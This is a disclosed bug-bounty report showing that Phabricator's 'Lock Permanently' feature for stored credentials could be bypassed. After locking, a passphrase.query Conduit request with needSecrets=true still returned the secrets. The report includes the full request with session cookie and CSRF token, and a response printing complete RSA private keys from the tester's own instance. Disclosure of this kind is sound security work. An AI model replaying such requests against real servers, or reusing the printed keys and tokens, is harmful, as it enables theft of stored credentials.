Passphrase credential lock bypass

Disclosed: 2016-05-18 22:01:14 By vorpal To phabricator
Unknown
Vulnerability Details
mongoose :D Testing was performed on our own installed testing environment, with a standard installation and configuration of Phabricator. The Passphrase application has feature where stored credentials can be locked. When you lock a credential, it claims "This credential will be locked and the secret will be hidden forever. Anything relying on this credential will still function. This operation can not be undone." However, it turns out that the secret can still be disclosed through the Conduit API, using the same user account. Steps to reproduce: 1. Logged in as a normal, unprivileged user. 2. Created a stored credential of type "ssh-generated-key." 3. Locked the credential permanently by clicking "Lock Permanently" and confirming the dialog box. 4. Clicked "Allow Conduit Access" and confirmed it in the dialog. 5. Issued the following HTTP request: ``` POST /api/passphrase.query HTTP/1.1 Host: phabricator.jaredmichaelsmith.com Content-Length: 159 X-Phabricator-Csrf: B@n2guxmnf7d4b0defd6b5bb5b Content-Type: application/x-www-form-urlencoded Cookie: phusr=user2; phsid=7apprp5waaae5glptp2d4z5dhr75jxjrghscwl65 __csrf__=B%40wmvs6khg22c07c0c320390dd&__form__=1&__dialog__=1&__submit__=true&__wflow__=true&__ajax__=true&__metablock__=8&needPublicKeys=true&needSecrets=true ``` This resulted in the following HTTP response containing the original generated private key (among others, which had been generated in the course of testing), which should have been inaccessible to me, because it was locked: ``` HTTP/1.1 200 OK Date: Wed, 18 May 2016 19:02:27 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.16 X-Frame-Options: Deny Cache-Control: no-store Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff Content-Length: 6211 Content-Type: application/json {"result":{"data":{"PHID-CDTL-gwd3irtr6meupa2ynpxu":{"id":"5","phid":"PHID-CDTL-gwd3irtr6meupa2ynpxu","type":"ssh-generated-key","name":"poc-key2","description":"","uri":"http:\/\/phabricator.jaredmichaelsmith.com\/K5","monogram":"K5","username":"poc-user","material":{"publicKey":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg2qd0tj+8kcjggdtiEbJQMtt58nuyjyW1YWRcY0Q0jrYJg8dPsxz6vp\/8szHmuO90KR15PbDNDN7fSj3ZjG6qcPdc0iI3wqD\/sSt2Rm76TomiXCdoCgy9PfPjDPWMuAbnDtaFR7sHWwrif2KqT\/QQaDcbW+AkY2f0GVMKIacQH4k\/uOD8Yk\/FOYneMxwAEomS80O6k84KCIIXNFMDxRElnlAoKtJLKSZeCrwHawx5A\/rCC4+wUyBSfDntxqoDet3fl4tJ1usAHbCcnpVxuImNemDMdwES2McQ\/lzuG7JqE0xCdcpdXoo5YXP9M4CZ97usHsV6\/jLIC6t+gpwlv6uD\n","noAPIAccess":"This private material for this credential is not accessible via API calls."}},"PHID-CDTL-m4qwhahonzh5hfxpk3id":{"id":"4","phid":"PHID-CDTL-m4qwhahonzh5hfxpk3id","type":"ssh-generated-key","name":"poc-key","description":"","uri":"http:\/\/phabricator.jaredmichaelsmith.com\/K4","monogram":"K4","username":"poc-user","material":{"privateKey":"-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA55MzyR+JjHmI2kIyWMgPrF\/RA2M+7dK5gdIQc3psjy6QAqMb\nBSVcNUXg1Rh3F5+LIm6UVKPeDGwtU\/9rhduuHR\/jJnN+i5XUv7fGh6WIYPfXF4Rd\nMpgqfgg1Vg3fVj3WC0esvkm\/P4a8IIgMyDGA\/DJA1sO+i1xVE4FzqmNlEe2HTQYi\n9Frp\/IkoSa7rxlPMj45QCIlgaN4cuDdgyeCO1uwqMVdSpU\/msCaibB\/phczZAg4V\nhf4bX3V\/rr6vz5xIJhJnACLu4Rr0F7RbGq0TexR2Va2xDP\/wEsgpIVTcCx86BhRu\nsZ6dgBMO8xsRnleVuBc4eADSgobSO7iNN\/0KQQIDAQABAoIBAQDVQ7BmYb\/n+ak5\n78q0DpK4mYlAyG6U0QL8drulzbIabrQ7aYChzZVMjm0PcreCrvCQpiu+gyckY5+f\nAtQ\/8182\/T3RFH4PCM5kPVf9Zknhm32f78two8hGR0LvXFk48DumKb0BhaM2Wtv4\nTbMPzt9N4u3pm11otIC5NPeTjHPw\/AGfmPXcmXSVnVAQFN\/px5GNuWRiLWpoI4SC\nzMikV3NWgAcbzjuQvAdZSYoaDAMEAsR2R0CSPeL92X0HzptEkSWHMPQjgiji4Iuu\nWhT2Ewq9qd2PWu34B9ARjdPxy2KcQbjbR5FYYDaaQOUkISBHqJ8B7+sFsi2kSiWa\nSd6Mq7Z9AoGBAPdx3DUQcivGmHIneg9xXG7gpqtFu8EvrkghImIAph2Xsv6Rrp+a\nmMZFK2PsPvFiJLwClLrUuLELrcPK8+dwNKZUeWjtvwSkaLtb1TcF5bJOrJKz497F\nL+5QL0rTWplS0YK15AUsi5eLAR3ji0gUUA2G7CnSrj9QNgERRQOHBgLjAoGBAO+U\n4ORGyHbArrfd40UUNmCXeYLA\/RmBaaG9qX65WPL4q\/YxfKqDH137ouysQxkHQHbY\n0Uy0tp8zFqCu4Uvw89qRzFF9JSaaXGde0RvGh8LUEXuzKOYqSJx8ogPsuKELpib\/\nfuQthHbT6EmpsNPOAEJV1BI9cyuGvaXRwhEl1POLAoGAEDZvnTJ0qJWci242uyhM\nTB+ADBzHjoLXQnaZUB6Gw82atr9I18BDXkpN64AhJ6OskH0CzbL+XutK+Vck3\/ck\nG\/nQ8qURLPawvgXoVHCYejRZbktHFOOKnmy2jIqIlx8sBwpv5D7k7or3CcRM7e4W\nyKwccSkSradNwoglI3QHWs0CgYEAtHGdMFFfipF1BmbIVa7zhayQiDpyZlNiC7+d\neSSAKf\/BBJwhGQvJBDASdc8IekFL\/Dcw7GTvZthDoqIUbe38vBIzoOxwnrKEBhcT\nx6eveL3grRozI6eVKMd1\/x67sA\/mBFlKaPEfY6AWw+Ramiv9Zfje0R4XMCE7lTh2\nwhOMYCECgYEAmhJeEZE7YdpJf1kPrp+moeP\/0\/SAPqNfrAFhU\/4sKqIM3nYK1kWX\n3Vz1mIX0lOrJVtTFRkWZvZOzQorQ2\/uo1AWQO9B+MQvpKkepnNDJm0YZqrn98hCh\nYluzY3BxDPz4VHt\/MhcwpMkvoCJo3uH+FV8k6mu8mC+tS5VCzuf9Co4=\n-----END RSA PRIVATE KEY-----\n","publicKey":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnkzPJH4mMeYjaQjJYyA+sX9EDYz7t0rmB0hBzemyPLpACoxsFJVw1ReDVGHcXn4sibpRUo94MbC1T\/2uF264dH+Mmc36LldS\/t8aHpYhg99cXhF0ymCp+CDVWDd9WPdYLR6y+Sb8\/hrwgiAzIMYD8MkDWw76LXFUTgXOqY2UR7YdNBiL0Wun8iShJruvGU8yPjlAIiWBo3hy4N2DJ4I7W7CoxV1KlT+awJqJsH+mFzNkCDhWF\/htfdX+uvq\/PnEgmEmcAIu7hGvQXtFsarRN7FHZVrbEM\/\/ASyCkhVNwLHzoGFG6xnp2AEw7zGxGeV5W4Fzh4ANKChtI7uI03\/QpB\n"}},"PHID-CDTL-khywy2s2kfishddwajpg":{"id":"3","phid":"PHID-CDTL-khywy2s2kfishddwajpg","type":"note","name":"mongoose-note","description":"","uri":"http:\/\/phabricator.jaredmichaelsmith.com\/K3","monogram":"K3","username":"","material":[]},"PHID-CDTL-m2pi42lz6to5metwve2f":{"id":"2","phid":"PHID-CDTL-m2pi42lz6to5metwve2f","type":"note","name":"asdf","description":"asdf","uri":"http:\/\/phabricator.jaredmichaelsmith.com\/K2","monogram":"K2","username":"","material":{"noAPIAccess":"This private material for this credential is not accessible via API calls."}},"PHID-CDTL-fnqpdysl4ksx6xatdtxc":{"id":"1","phid":"PHID-CDTL-fnqpdysl4ksx6xatdtxc","type":"ssh-generated-key","name":"sdf","description":"","uri":"http:\/\/phabricator.jaredmichaelsmith.com\/K1","monogram":"K1","username":"fsdf","material":{"privateKey":"-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEA367J2I5\/kMs3rXyYnZiMdian2B0X9qOD8wljjzGZWCXS5lod\nPe480Y0dCuiuRQmVM3CcVFLUkAPTrn\/0lmVeT56PSiT6MCzMGyOai439Nqe2PGJb\nwzb3NbkNOmpCrpgJoZoUjApABg8TnkuFWGGkFHHHLtXPMROapI9EpXzksN6ay16D\nSe+E0EWc2G3lt6dcdJohfgT0qVg0cuLHeSUryOpfLHDgfpEkrjcGR7fOhi2csh9W\nQDuOyFSLJL1mrZXWE9Qw88IcEjiAkajBOyLdqbXetBWBUmIaBDDHHSif2wxDSTJv\n4uLc\/ZHf3JO9z8L5O+93HfxtR8bpVXnKaklyDQIDAQABAoIBAEUKKfrRYMZMMw81\nGdXqs8\/z9nJZ6H+T0LI+\/5++61mtsv6uacAnvFXhfElVsBRW9No\/s8DDICCjTb7a\nd5\/EAewJQKjd6OrdqNHnl1fjp3grI7BXm4MRgBPw3ghdq98\/xhk++YCP2VsFZETD\ngpDY8k\/tHlFyZNT8\/Ao2vjVl6yA7wSrDQGSQ+b00QQeCZnxACBWvaBhhK+YanEjX\nkdaTNzKpyfdLQ1d8NVmSDo\/C+\/ykg5RmxqpabwpmQY3go6\/C0r7fOBj1Lk6vhO2h\naNZhupsYqwdTSOdjcwJEoKLp8QmW9FOZ1e3iXbZ+Jb0nUntWtLubwTfqJ56a7VVN\nP0q61PECgYEA+WZ4aYY\/c0pw6\/IyBv41XqXbo0pVWoJAcKoIorqbDRas1vkKrQqH\nRMtfmVg6ooM0pnCLRJ5p4O026Z9Hxg7yyCAMUHCT5xRmZ0Nm+y2hNDiazYDRPwoH\n\/HLdv1l+zqldhKrziz5l6LyBnbDA3ltupwJPz0VWosks0HFj3VP8Z2cCgYEA5ZoZ\nI6Nff4yjwtKmZ+31wjPlJXZxB1sACwSWx\/nbMgKq649Qmi7Xv1Ak04ZtR44g5o0t\n34BK9DYRlVHL3nnNZOalAsgpz+Y1Ek4gR9o+Xx3xBfZJkkiZxM3SxAljmpPxFkPB\nVDgM1FnR410ECEX+kKoaAC\/65NwFA3l95eYhtmsCgYAeurR9dBAfWX2+ZLIrUGkt\nB0yfuwn3Q\/NCroCv5EQ0gaW8OyVImvJ91H0r\/MYEvhvfoiBWzRoIn9HTSU\/jpHXf\nmKtLwgNHRqkzcgefTUj+kTbpuUSO+uJvBYwzBojsV8vxC8tETeTqn0dtMZkiDKv+\nofdJd6asGhOOf1oprC5+YwKBgE1NaaNfEPsPrd8dLxuUuYaOFFtdmkaAs+4BuIZR\nsCQRU9yFXvzaQpdN82goPUi3KIqXA9fZCONaBOeCJ6Ka3bVYFjxuie1OM5YbKbEn\nYJKDsS9xsWmH+gWRyqFoC9nyb1wwqbmiOWeRaiIjogTrE\/8+1gw0G0PMc\/+set\/Z\ncIZLAoGAcwrfurKoun3qIHZ8kzCVe8B8meltGBMDkNnjG2Ps+cD647+dF8jXk38k\ntfMECAIA3sMoSmHZBrJmuHiis9i9HEMNyE9bfr0UKwjUaDlYWLAA0jqNLgL+Prq3\neWQEpT9l6cNmdSqS1i0WP+hp+Xc92c1WacDV2h57xSV\/xK\/FLyo=\n-----END RSA PRIVATE KEY-----\n","publicKey":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfrsnYjn+QyzetfJidmIx2JqfYHRf2o4PzCWOPMZlYJdLmWh097jzRjR0K6K5FCZUzcJxUUtSQA9Ouf\/SWZV5Pno9KJPowLMwbI5qLjf02p7Y8YlvDNvc1uQ06akKumAmhmhSMCkAGDxOeS4VYYaQUcccu1c8xE5qkj0SlfOSw3prLXoNJ74TQRZzYbeW3p1x0miF+BPSpWDRy4sd5JSvI6l8scOB+kSSuNwZHt86GLZyyH1ZAO47IVIskvWatldYT1DDzwhwSOICRqME7It2ptd60FYFSYhoEMMcdKJ\/bDENJMm\/i4tz9kd\/ck73Pwvk773cd\/G1HxulVecpqSXIN\n"}}},"cursor":{"limit":100,"after":null,"before":null}},"error_code":null,"error_info":null} ``` This effectively bypasses the "Lock Permanently" security feature, which claims that "the secret will be hidden forever," because I was able to access the secret after locking it without any additional privileges or credentials. Also, note that Conduit access was enabled *after* the secret was locked.
Actions
View on HackerOne
Report Stats
  • Report ID: 139626
  • State: Closed
  • Substate: resolved
  • Upvotes: 2
Share this report